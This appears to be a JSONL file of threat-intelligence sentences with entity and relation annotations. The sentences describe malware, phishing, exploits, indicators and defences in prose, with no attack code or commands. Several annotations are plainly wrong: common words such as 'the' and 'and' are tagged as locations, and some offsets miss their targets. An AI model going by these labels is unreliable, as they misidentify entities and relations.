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{"id":1200,"text":"Further investigation shows that these SDKs have been used in at least 25 different Android games in two third-party app markets, JoloPlay and Wanyx.","entities":[{"id":46589,"label":"SOFTWARE","start_offset":84,"end_offset":91},{"id":46590,"label":"SOFTWARE","start_offset":130,"end_offset":138},{"id":46591,"label":"SOFTWARE","start_offset":143,"end_offset":148}],"relations":[],"Comments":[]}
{"id":5147,"text":"I'm going to look at item number two.","entities":[],"relations":[],"Comments":[]}
{"id":1647,"text":"Figure 6: List of Android APK files infected with Funtasy Trojan  ","entities":[{"id":45083,"label":"SOFTWARE","start_offset":18,"end_offset":29},{"id":45084,"label":"malware","start_offset":50,"end_offset":64}],"relations":[],"Comments":[]}
{"id":4099,"text":"We found that there are two types of SmileSvr.","entities":[],"relations":[],"Comments":[]}
{"id":8183,"text":"    Meanwhile, the second PDF file shows the banking account reference number:      Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":5960,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":18321,"label":"location","start_offset":53,"end_offset":56},{"id":18322,"label":"tools","start_offset":71,"end_offset":77},{"id":18323,"label":"location","start_offset":78,"end_offset":81},{"id":18324,"label":"location","start_offset":82,"end_offset":90},{"id":18325,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
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{"id":14270,"text":"Virtual Girlfriend\u2019s option buttons (first and second screen from the left) and download page (third screen)","entities":[],"relations":[],"Comments":[]}
{"id":5981,"text":"These phishing domains have been blocked through Google Safe Browsing \u2013 a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":18402,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":18404,"label":"location","start_offset":129,"end_offset":132},{"id":18405,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
{"id":12545,"text":"It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.","entities":[],"relations":[],"Comments":[]}
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{"id":1155,"text":"It\u2019s obvious enough that the author likely noticed it when reworking this section of code.","entities":[],"relations":[],"Comments":[]}
{"id":2537,"text":"But there was a twist: The group maintained that it would still make good on its \"double extortion\" threat to publish stolen data on its leak site.","entities":[],"relations":[],"Comments":[]}
{"id":5340,"text":" The malware expects a response where the first four bytes are the size of the packet followed by the encrypted data.","entities":[],"relations":[],"Comments":[]}
{"id":848,"text":"APCs can basically be thought of as places in line for the CPU that the kernel gives access to.","entities":[],"relations":[],"Comments":[]}
{"id":5270,"text":"Updates were also made to Google Play Protect to take appropriate action against those apps that have been verified as in violation of Google Play policy.","entities":[{"id":51309,"label":"SOFTWARE","start_offset":26,"end_offset":45},{"id":51310,"label":"SOFTWARE","start_offset":135,"end_offset":146}],"relations":[],"Comments":[]}
{"id":209,"text":"Upon execution, this file enumerates all files on a hard drive, wipes the partition info and then forces a system reboot, which predictably results in the following screen:","entities":[],"relations":[],"Comments":[]}
{"id":14136,"text":"    Figure 15 shows that User_3 and User_4 have like random counts.","entities":[],"relations":[],"Comments":[]}
{"id":984,"text":"To protect Palo Alto Networks customers from the Taomike SMS stealer, we\u2019ve made the following protections available:","entities":[{"id":44915,"label":"identity","start_offset":11,"end_offset":29},{"id":44916,"label":"malware","start_offset":49,"end_offset":68}],"relations":[],"Comments":[]}
{"id":10501,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
{"id":5294,"text":" It sets the default handlers for SIGTERM, SIGINT, SIGBUS, SIGPIPE, and SIGIO signals.","entities":[],"relations":[],"Comments":[]}
{"id":11028,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors\u2019 blog.","entities":[],"relations":[],"Comments":[]}
{"id":4348,"text":"Again, this threat actor\u2019s interest in military personnel is obvious.","entities":[],"relations":[],"Comments":[]}
{"id":9922,"text":"Setting up a private VPN can be easily done by renting a couple of servers from datacenters around the world and using open source software like OpenVPN.","entities":[{"id":30276,"label":"location","start_offset":25,"end_offset":28},{"id":30277,"label":"location","start_offset":103,"end_offset":108},{"id":30278,"label":"location","start_offset":109,"end_offset":112},{"id":30279,"label":"attack-pattern","start_offset":124,"end_offset":130}],"relations":[],"Comments":[]}
{"id":1952,"text":"Paying close attention to the domain name of a website before performing any further action can also help mitigate threats, including threats like Urpage that have targeted victims.","entities":[{"id":47073,"label":"threat-actor","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
{"id":3062,"text":"First, the initial \u201cthreats detection results\u201d are hard-coded in the app (Figure 4), which means the app wasn't actually detecting them on the phone.","entities":[],"relations":[],"Comments":[]}
{"id":7449,"text":"This gives the third party app OAuth access","entities":[],"relations":[],"Comments":[]}
{"id":4241,"text":"The Delphi Link","entities":[],"relations":[],"Comments":[]}
{"id":13700,"text":"Exercise caution by following a verification system (e.g., multiple signoffs or additional verification protocols) among employees that work with sensitive information.","entities":[],"relations":[],"Comments":[]}
{"id":5576,"text":"Revix","entities":[],"relations":[],"Comments":[]}
{"id":12923,"text":"       Figure 9 -","entities":[],"relations":[],"Comments":[]}
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{"id":8334,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":25665,"label":"malware","start_offset":64,"end_offset":68},{"id":25666,"label":"location","start_offset":82,"end_offset":85},{"id":25667,"label":"location","start_offset":99,"end_offset":102},{"id":25668,"label":"location","start_offset":112,"end_offset":117},{"id":25669,"label":"location","start_offset":157,"end_offset":161},{"id":25670,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
{"id":1431,"text":" Security researchers are starting to take note and publish on this subject.","entities":[],"relations":[],"Comments":[]}
{"id":13097,"text":" Shaping the roadmap  ROS-I is an open-source project devoted to extending the capabilities of the Robot Operating Systems (ROS) into industrial hardware and applications.","entities":[],"relations":[],"Comments":[]}
{"id":2067,"text":" The YouTube account has no public videos, but we observed this threat actor sharing unlisted links in various hacking forums.","entities":[{"id":45248,"label":"SOFTWARE","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
{"id":1336,"text":"Strings contained in the binary are decrypted via a simple binary XOR against a single byte key of 0x25.","entities":[],"relations":[],"Comments":[]}
{"id":3322,"text":"Finally, the script will print out the client ID and the decryption key that allows the malicious actors to decrypt the stolen database files of the chat history.","entities":[],"relations":[],"Comments":[]}
{"id":1581,"text":"Proofpoint researcher Darien Huss\u200f has reported this fake update was hosted at 1dnscontrol[.]com.","entities":[{"id":45064,"label":"identity","start_offset":0,"end_offset":10},{"id":45066,"label":"DOMAIN","start_offset":79,"end_offset":96},{"id":45065,"label":"identity","start_offset":22,"end_offset":33}],"relations":[],"Comments":[]}
{"id":4138,"text":"We also observed that the group used multiple legitimate tools to dump credentials on compromised machines.","entities":[],"relations":[],"Comments":[]}
{"id":9391,"text":"  Figure 10.","entities":[],"relations":[],"Comments":[]}
{"id":13576,"text":"If the victim enters the credential in the fake form and clicks anywhere on the page, the script will take the credentials, encode them using base64, replace some characters with custom substrings, and then upload these to Water Pamola\u2019s server.       Figure 4.","entities":[{"id":51656,"label":"Infrastucture","start_offset":223,"end_offset":244},{"id":51657,"label":"malware","start_offset":90,"end_offset":96}],"relations":[{"id":1124,"from_id":51657,"to_id":51656,"type":"communicates-with"}],"Comments":[]}
{"id":5178,"text":"For details on the known vulnerabilities, attack scenarios, and research methodology, read our full paper \u201cA Security Analysis of the Data Distribution Service (DDS) Protocol.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":549,"text":"The email addresses given are usually from untraceable email accounts.","entities":[],"relations":[],"Comments":[]}
{"id":3628,"text":"For example, a spear phishing attack could use email messages about military exercises sent to military or government targets like we saw with our recent research into CMSTAR Trojan attacks.","entities":[{"id":10953,"label":"attack-pattern","start_offset":15,"end_offset":29},{"id":10954,"label":"malware","start_offset":168,"end_offset":174}],"relations":[{"id":794,"from_id":10954,"to_id":10953,"type":"uses"}],"Comments":[]}
{"id":6994,"text":"     Figure 19.","entities":[],"relations":[],"Comments":[]}
{"id":1987,"text":"During our research we observed multiple variants impacting Windows and Linux systems.","entities":[{"id":47096,"label":"SOFTWARE","start_offset":60,"end_offset":67},{"id":47097,"label":"SOFTWARE","start_offset":72,"end_offset":77}],"relations":[],"Comments":[]}
{"id":2675,"text":"In comparison, we see less flexibility in FY 2022 Q1 and Q3 \u2013 threat actors only offered an average of about 30% as a price drop.","entities":[{"id":47877,"label":"TIME","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
{"id":5472,"text":"While the chat applications indeed have real chat features (although the communication is not anonymous, as advertised), they have backdoor routines and file-stealing behaviors that get triggered when specific words are sent to the app: collecting and harvesting all SMS messages, contacts, and accounts.","entities":[],"relations":[],"Comments":[]}
{"id":4833,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.","entities":[{"id":50790,"label":"identity","start_offset":11,"end_offset":14},{"id":50789,"label":"identity","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]}
{"id":9414,"text":"Our investigation has also uncovered that Earth Berberoka targets the Windows, Linux, and macOS platforms, and uses malware families that have been historically attributed to Chinese-speaking individuals.","entities":[{"id":28972,"label":"threat-actor","start_offset":42,"end_offset":57},{"id":28973,"label":"location","start_offset":86,"end_offset":89},{"id":28974,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
{"id":11208,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]}
{"id":2564,"text":"In one sample we examined, we found a total of 844 hostnames.","entities":[],"relations":[],"Comments":[]}
{"id":11169,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":4759,"text":"Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.","entities":[{"id":50664,"label":"SOFTWARE","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
{"id":1357,"text":" Once the vulnerability was discovered, Palo Alto Networks threat researchers quickly began reverse-engineering the patch that remediated this vulnerability and were able to produce a working proof of concept (PoC) in a very short time.","entities":[{"id":46689,"label":"identity","start_offset":40,"end_offset":58}],"relations":[],"Comments":[]}
{"id":13796,"text":"The second-stage shellcode then performs API hooking inside the targeted process.","entities":[{"id":42828,"label":"attack-pattern","start_offset":45,"end_offset":52}],"relations":[],"Comments":[]}
{"id":9823,"text":"This malware combines features of existing trojans in the malware family\u2019s development, based on the adjustments TICK made as we analyzed their test versions.","entities":[{"id":29954,"label":"threat-actor","start_offset":113,"end_offset":117},{"id":29955,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
{"id":7079,"text":"Injects final payload into \"lsass.exe\"  Stage 3 - Final Payload  Installs itself as a Windows service","entities":[],"relations":[],"Comments":[]}
{"id":10951,"text":"Today, we\u2019re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":33309,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":33310,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
{"id":1028,"text":" Another noteworthy trend we observed was that some sellers provided email addresses with customizable usernames at \"californiacolleges.edu\".","entities":[{"id":46518,"label":"DOMAIN","start_offset":117,"end_offset":139}],"relations":[],"Comments":[]}
{"id":6199,"text":"The attacker can add a shortcut with a crafted payload by exploiting the XSS vulnerability, which replaces part of the original script from the webmail system with malicious JavaScript code.","entities":[{"id":19151,"label":"location","start_offset":13,"end_offset":16},{"id":19152,"label":"attack-pattern","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
{"id":74,"text":"Infections typically begin with emails carrying malicious macro documents, drive-by exploit kits targeting browsers, or direct attacks on servers running vulnerable software.","entities":[],"relations":[],"Comments":[]}
{"id":2708,"text":" The exploit code used in these attacks only targets IE versions 9, 10 and 11, but earlier versions are still vulnerable.","entities":[{"id":47950,"label":"SOFTWARE","start_offset":53,"end_offset":77}],"relations":[],"Comments":[]}
{"id":485,"text":"Unit 42 released details about a vulnerability that affects Android devices running operating systems older than 8.0 Oreo.","entities":[{"id":1635,"label":"identity","start_offset":0,"end_offset":7},{"id":46129,"label":"SOFTWARE","start_offset":60,"end_offset":67},{"id":46130,"label":"SOFTWARE","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
{"id":1313,"text":"This version of PlugX attempts to disguise itself as a Symantec product.","entities":[{"id":3979,"label":"malware","start_offset":16,"end_offset":21},{"id":46667,"label":"identity","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
{"id":12112,"text":"New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":37473,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]}
{"id":3169,"text":"We discovered a new malware that targets online gambling companies in China via a watering hole attack, in which visitors are tricked into downloading a malware loader disguised as a legitimate installer for well-known apps such as Adobe Flash Player or Microsoft Silverlight.","entities":[{"id":48286,"label":"attack-pattern","start_offset":82,"end_offset":102},{"id":48287,"label":"attack-pattern","start_offset":126,"end_offset":150},{"id":48291,"label":"malware","start_offset":16,"end_offset":27},{"id":48285,"label":"location","start_offset":70,"end_offset":75},{"id":48289,"label":"SOFTWARE","start_offset":254,"end_offset":275},{"id":48290,"label":"identity","start_offset":41,"end_offset":66},{"id":48288,"label":"SOFTWARE","start_offset":232,"end_offset":250}],"relations":[{"id":396,"from_id":48291,"to_id":48290,"type":"targets"},{"id":397,"from_id":48290,"to_id":48285,"type":"located-at"},{"id":398,"from_id":48291,"to_id":48286,"type":"uses"},{"id":399,"from_id":48291,"to_id":48287,"type":"uses"}],"Comments":[]}
{"id":3085,"text":" This blog is meant to give an overview of the situation, the vulnerabilities, assist Palo Alto Networks customers and others with their risk assessment, and provide recommendations for actions they can take to prevent successful attacks against these vulnerabilities.","entities":[{"id":48149,"label":"identity","start_offset":86,"end_offset":104}],"relations":[],"Comments":[]}
{"id":4914,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[],"relations":[],"Comments":[]}
{"id":1389,"text":" 14. Virus & Threat protection is no longer available from Windows Security.","entities":[{"id":46735,"label":"SOFTWARE","start_offset":59,"end_offset":75}],"relations":[],"Comments":[]}
{"id":14310,"text":"Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":3869,"text":" Organizations can implement various techniques and best practices to defend against targeted attacks, such as regular patching to prevent vulnerability exploitation and using tools that provide protection across different network levels.","entities":[],"relations":[],"Comments":[]}
{"id":13953,"text":"In cybercrime, there are no copyright or patent laws for tools and techniques.","entities":[],"relations":[],"Comments":[]}
{"id":5550,"text":"    You could try to avoid smaller sites that may not have the same level of security as larger ones.","entities":[],"relations":[],"Comments":[]}
{"id":1562,"text":"Or, just delete the message and report it to your security team.","entities":[],"relations":[],"Comments":[]}
{"id":9393,"text":"  Figure 11.","entities":[],"relations":[],"Comments":[]}
{"id":387,"text":"These scans date back as early as May 26, 2022, and target organizations in various industries.","entities":[{"id":44733,"label":"TIME","start_offset":34,"end_offset":46}],"relations":[],"Comments":[]}
{"id":1104,"text":"That library\u2019s usage can be analyzed in terms of who uses it.","entities":[],"relations":[],"Comments":[]}
{"id":13967,"text":"The vast majority of CISOs are saddled with legacy operating systems and applications, along with a lack of funding.","entities":[],"relations":[],"Comments":[]}
{"id":2761,"text":"The bad news is that this vulnerability is going to have a very long tail.","entities":[],"relations":[],"Comments":[]}
{"id":1016,"text":"He recommended not changing the account password to avoid detection by the legitimate user.","entities":[],"relations":[],"Comments":[]}
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{"id":1589,"text":" We will update this blog with new information as it becomes available.","entities":[],"relations":[],"Comments":[]}
{"id":10665,"text":"          Source: Apache HTTP Server Project","entities":[{"id":32551,"label":"attack-pattern","start_offset":10,"end_offset":16},{"id":32552,"label":"location","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]}
{"id":729,"text":"According to Microsoft\u2019s security release notes, any system created, or which has updated its OMI package, after Aug. 11, 2021, should automatically be patched.","entities":[{"id":44845,"label":"TIME","start_offset":113,"end_offset":126},{"id":44846,"label":"identity","start_offset":13,"end_offset":23}],"relations":[],"Comments":[]}
{"id":6193,"text":"The framework used to deliver and manage these XSS attack scripts is called \u201cXSSER.ME\u201d or \u201cXSS Framework.\u201d The stolen session keys and browser cookies are also sent to the framework to store in the database.   While a stolen session key may allow the attacker to log into their target\u2019s webmail system without a password, note that this is not the Earth Wendigo operation's ultimate goal.       Figure 7.","entities":[{"id":19135,"label":"location","start_offset":30,"end_offset":33},{"id":19136,"label":"location","start_offset":34,"end_offset":40},{"id":19137,"label":"attack-pattern","start_offset":47,"end_offset":50},{"id":19138,"label":"attack-pattern","start_offset":91,"end_offset":94},{"id":19139,"label":"location","start_offset":131,"end_offset":134},{"id":19140,"label":"location","start_offset":151,"end_offset":154},{"id":19141,"label":"location","start_offset":237,"end_offset":240},{"id":19142,"label":"location","start_offset":278,"end_offset":284},{"id":19143,"label":"threat-actor","start_offset":348,"end_offset":361}],"relations":[],"Comments":[]}
{"id":331,"text":"CryptoWall isn\u2019t the only threat that communicates over Tor and if your network doesn\u2019t have an explicit reason to allow anonymization networks, you should consider blocking the application altogether with your firewall.","entities":[{"id":1138,"label":"malware","start_offset":0,"end_offset":10},{"id":1140,"label":"tools","start_offset":56,"end_offset":59}],"relations":[{"id":147,"from_id":1138,"to_id":1140,"type":"uses"}],"Comments":[]}
{"id":9861,"text":" Figure 16. Modified screen capture tool  Figure 17.","entities":[{"id":30048,"label":"attack-pattern","start_offset":21,"end_offset":35},{"id":30049,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
{"id":10328,"text":"One notable difference in the analyzed samples is that they do not directly download the Visual Basic Script(VBS) and PowerShell component files, and instead encode all the scripts on the document itself.","entities":[{"id":31483,"label":"location","start_offset":114,"end_offset":117},{"id":31484,"label":"attack-pattern","start_offset":118,"end_offset":128},{"id":31485,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
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{"id":2919,"text":" At the time, we said that the sudden, surging value of cryptocurrencies was likely behind the sudden, strong rise of these new attacks.","entities":[],"relations":[],"Comments":[]}
{"id":12497,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":38888,"label":"location","start_offset":37,"end_offset":43},{"id":38889,"label":"malware","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
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{"id":3395,"text":"BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  69d930050b2445937ec6a4f9887296928bf663f7a71132676be3f112e80fe275  test.exe  ","entities":[{"id":10252,"label":"malware","start_offset":0,"end_offset":11},{"id":10253,"label":"SHA2","start_offset":46,"end_offset":110},{"id":49056,"label":"FILEPATH","start_offset":112,"end_offset":120},{"id":49055,"label":"malware","start_offset":20,"end_offset":44}],"relations":[{"id":616,"from_id":49056,"to_id":10253,"type":"duplicate-of"},{"id":617,"from_id":10252,"to_id":49055,"type":"duplicate-of"},{"id":619,"from_id":10253,"to_id":49055,"type":"indicates"},{"id":618,"from_id":49056,"to_id":49055,"type":"indicates"}],"Comments":[]}
{"id":1842,"text":"In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above.","entities":[],"relations":[],"Comments":[]}
{"id":1941,"text":"Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document.","entities":[{"id":47065,"label":"threat-actor","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]}
{"id":4101,"text":"The threat actors will use an installer to install SmileSvr as a system service and drop a DAT file that contains encoded C&C information.","entities":[],"relations":[],"Comments":[]}
{"id":3646,"text":"For example, if you are the executive assistant for a CEO, you could be the target of an attack like this (\u201cBob\u201d in our scenario above) so that you in turn are used to carry out an attack (\u201cAlice\u201d in our scenario above) against your CEO (who then becomes \u201cBob\u201d in our scenario above).  Because of the nature of the attack, unless you verify each and every email you receive, it\u2019s unlikely that you\u2019ll necessarily be able to spot and thwart an attack.","entities":[],"relations":[],"Comments":[]}
{"id":8780,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
{"id":2242,"text":"The following Python script can be used to generate the keys.","entities":[],"relations":[],"Comments":[]}
{"id":14056,"text":"Both have compromised websites where the malware samples are hosted and delivered to victim machines.","entities":[],"relations":[],"Comments":[]}
{"id":5380,"text":"The DNS resolution is performed using DNS over HTTPS (DoH).","entities":[],"relations":[],"Comments":[]}
{"id":2851,"text":"Users are urged to apply the necessary Microsoft patch to protect themselves against this threat.","entities":[{"id":48055,"label":"identity","start_offset":39,"end_offset":48}],"relations":[],"Comments":[]}
{"id":214,"text":"Additionally, ESET researchers have warned that they found this malware installed across \u201chundreds of machines\u201d in Ukraine.","entities":[{"id":45908,"label":"identity","start_offset":14,"end_offset":18},{"id":45909,"label":"location","start_offset":115,"end_offset":122}],"relations":[],"Comments":[]}
{"id":9489,"text":"The oRAT droppers that we found in our analysis were a MiMi chat application built using the Electron JS framework and a DMG (disk image) file.","entities":[{"id":29130,"label":"malware","start_offset":4,"end_offset":8},{"id":29131,"label":"location","start_offset":60,"end_offset":64},{"id":29132,"label":"location","start_offset":93,"end_offset":101},{"id":29133,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
{"id":1083,"text":"Far from the hypothesized \"huge amount of variability\" in mutex names, likely hypothesized due to the seemingly random appearance of them, practical mutex usage is embarrassingly consistent.","entities":[],"relations":[],"Comments":[]}
{"id":12068,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":37351,"label":"location","start_offset":71,"end_offset":78},{"id":37352,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
{"id":559,"text":"(ref: Binance on Twitter ).","entities":[{"id":46171,"label":"SOFTWARE","start_offset":6,"end_offset":13},{"id":46172,"label":"SOFTWARE","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
{"id":1307,"text":" The remote server can also send the following example response.","entities":[],"relations":[],"Comments":[]}
{"id":372,"text":" Based on the security advisory issued by Atlassian, it appears that the exploit is indeed an unauthenticated, remote code execution vulnerability.","entities":[{"id":44723,"label":"identity","start_offset":42,"end_offset":51},{"id":44724,"label":"attack-pattern","start_offset":111,"end_offset":132}],"relations":[],"Comments":[]}
{"id":12565,"text":"Threat actors have used N-days shortly after a patch is released to capitalize on the patching delay of their targets.","entities":[],"relations":[],"Comments":[]}
{"id":7755,"text":"The macros process the downloaded payload with each number encrypted in XOR with a constant hardcoded value of 106.","entities":[],"relations":[],"Comments":[]}
{"id":13794,"text":"The payload is composed of a two-stage shellcode.","entities":[],"relations":[],"Comments":[]}
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{"id":12331,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
{"id":8962,"text":"     Figure 7. Unverified developer warning with the \u201cOpen\u201d button noticeably missing     ","entities":[],"relations":[],"Comments":[]}
{"id":13877,"text":"November 2020:","entities":[],"relations":[],"Comments":[]}
{"id":1123,"text":" \u201cglobal\\setup_028746_mutexitem\u201d -- Associated solely with known malware digital signers.","entities":[],"relations":[],"Comments":[]}
{"id":7860,"text":"Some device vendors have even left it enabled by default when shipping their phones.","entities":[],"relations":[],"Comments":[]}
{"id":13925,"text":"It is possible that they do this to avoid law enforcement action from these countries, since the governments of some of these countries do not persecute criminal acts such as DarkSide\u2019s if they are done on foreign targets.","entities":[{"id":48754,"label":"malware","start_offset":175,"end_offset":186}],"relations":[],"Comments":[]}
{"id":14160,"text":"The ability to do this requires a number of key components:   A security vendor who has solutions across the entire network, including cloud, gateway (email & web), network, server, endpoint (includes mobile), and IoT\/IIoT Support for threat intelligence and data analytics.","entities":[],"relations":[],"Comments":[]}
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{"id":6616,"text":"In their spear-phishing attacks, OilRig preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came in the form of portable executables (PE), PowerShell and VBScripts.","entities":[{"id":20502,"label":"location","start_offset":9,"end_offset":14},{"id":20503,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20506,"label":"tools","start_offset":74,"end_offset":80},{"id":20508,"label":"location","start_offset":87,"end_offset":90},{"id":20510,"label":"attack-pattern","start_offset":193,"end_offset":203},{"id":20511,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
{"id":629,"text":" This is a developing situation, we will update this blog as new information becomes available.","entities":[],"relations":[],"Comments":[]}
{"id":5929,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]}
{"id":5096,"text":"We unfortunately were unable to recover any of the stages that followed the initial RCE.","entities":[{"id":51200,"label":"attack-pattern","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
{"id":5043,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]}
{"id":14368,"text":"Trend Micro\u2019s Mobile App Reputation Service (MARS) already covers Android and iOS threats using leading sandbox and machine learning technology.","entities":[],"relations":[],"Comments":[]}
{"id":4375,"text":"Now, we\u2019re shining light on a new tool of theirs.","entities":[],"relations":[],"Comments":[]}
{"id":12119,"text":"The four exploits were used as a part of three different campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":13856,"text":"It has been five days since the shutdown prompted by the attack, but Colonial Pipeline is still unable to resume full operations.","entities":[],"relations":[],"Comments":[]}
{"id":5074,"text":"One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.","entities":[],"relations":[],"Comments":[]}
{"id":4591,"text":"According to Shodan, on March 4, there were more than 266,000 Exchange Servers vulnerable to the ProxyLogon vulnerability, a day after the patch was released.","entities":[{"id":50465,"label":"TIME","start_offset":24,"end_offset":31},{"id":50464,"label":"identity","start_offset":13,"end_offset":19},{"id":50466,"label":"SOFTWARE","start_offset":62,"end_offset":78},{"id":50467,"label":"vulnerability","start_offset":97,"end_offset":121}],"relations":[{"id":976,"from_id":50466,"to_id":50467,"type":"has"}],"Comments":[]}
{"id":104,"text":"Speaking of data exfil, in the first half we saw APT actors utilize cloud-based file storage to exfiltrate their stolen data.","entities":[],"relations":[],"Comments":[]}
{"id":3854,"text":"These include Getpass.exe and Mail.exe, which are password and information stealers.","entities":[{"id":49703,"label":"FILEPATH","start_offset":14,"end_offset":25},{"id":49704,"label":"FILEPATH","start_offset":30,"end_offset":38}],"relations":[],"Comments":[]}
{"id":5229,"text":"These were published on Google Play \u2014 but have since been taken down \u2014 and third-party app marketplaces.","entities":[{"id":51261,"label":"SOFTWARE","start_offset":24,"end_offset":35}],"relations":[],"Comments":[]}
{"id":13142,"text":"In so doing, it eliminates the need for endless back-and-forth communications between ISV and prospective customer.","entities":[],"relations":[],"Comments":[]}
{"id":3143,"text":"There\u2019s a very good reason why AWS remains a leader in cloud computing.","entities":[],"relations":[],"Comments":[]}
{"id":6801,"text":"Interestingly, after decoding the VBS, we saw what appeared to be a programming mistake by the attacker.","entities":[],"relations":[],"Comments":[]}
{"id":1946,"text":" Figure 3. Malicious application for observing Ramadan  Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":4226,"text":"This function is similar to the various versions of backdoors (such as sctrls and sip_telephone) that we analyzed in our previous blog post and whitepaper.","entities":[],"relations":[],"Comments":[]}
{"id":3791,"text":" While the original campaign was comprehensive and used remote access Trojans (RATs) such as ChChes and RedLeaves, this new campaign used a new backdoor (Detected by Trend Micro as BKDR_ANEL.ZKEI) that leverages the CVE-2017-8759 vulnerability for its cyberespionage activities.","entities":[{"id":49632,"label":"malware","start_offset":93,"end_offset":99},{"id":49633,"label":"malware","start_offset":104,"end_offset":113},{"id":49634,"label":"malware","start_offset":181,"end_offset":195},{"id":49636,"label":"identity","start_offset":166,"end_offset":177},{"id":49635,"label":"vulnerability","start_offset":216,"end_offset":229}],"relations":[{"id":853,"from_id":49634,"to_id":49635,"type":"exploits"}],"Comments":[]}
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{"id":10603,"text":"This is an area we have invested in deeply for over a decade.","entities":[],"relations":[],"Comments":[]}
{"id":2126,"text":"In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-\u00e0-vis other Struts implementations that do not use that plugin.","entities":[{"id":47265,"label":"SOFTWARE","start_offset":52,"end_offset":58},{"id":47266,"label":"SOFTWARE","start_offset":157,"end_offset":163}],"relations":[],"Comments":[]}
{"id":10891,"text":"If we examine another StrongPity sample (12818a96211b7c47863b109be63e951075cf6a41652464a584dd2f26010f7535), the logic is similar \u2014 it drops a normal installer into the Temp directory and creates a directory for dropped malicious files.","entities":[{"id":33154,"label":"malware","start_offset":22,"end_offset":32},{"id":33155,"label":"location","start_offset":33,"end_offset":39},{"id":33156,"label":"SHA2","start_offset":41,"end_offset":105},{"id":33157,"label":"location","start_offset":142,"end_offset":148},{"id":33158,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
{"id":2568,"text":"Shamoon 2 attackers are using a rudimentary, but effective, distribution system of their own making.","entities":[{"id":45596,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":3107,"text":" Because these are information disclosure vulnerabilities, they don\u2019t pose the same, immediate danger like WannaCry\/WanaCrypt0r or Petya\/NotPetya.","entities":[{"id":9496,"label":"malware","start_offset":137,"end_offset":145},{"id":9493,"label":"malware","start_offset":107,"end_offset":115},{"id":9494,"label":"malware","start_offset":116,"end_offset":127},{"id":9495,"label":"malware","start_offset":131,"end_offset":136}],"relations":[],"Comments":[]}
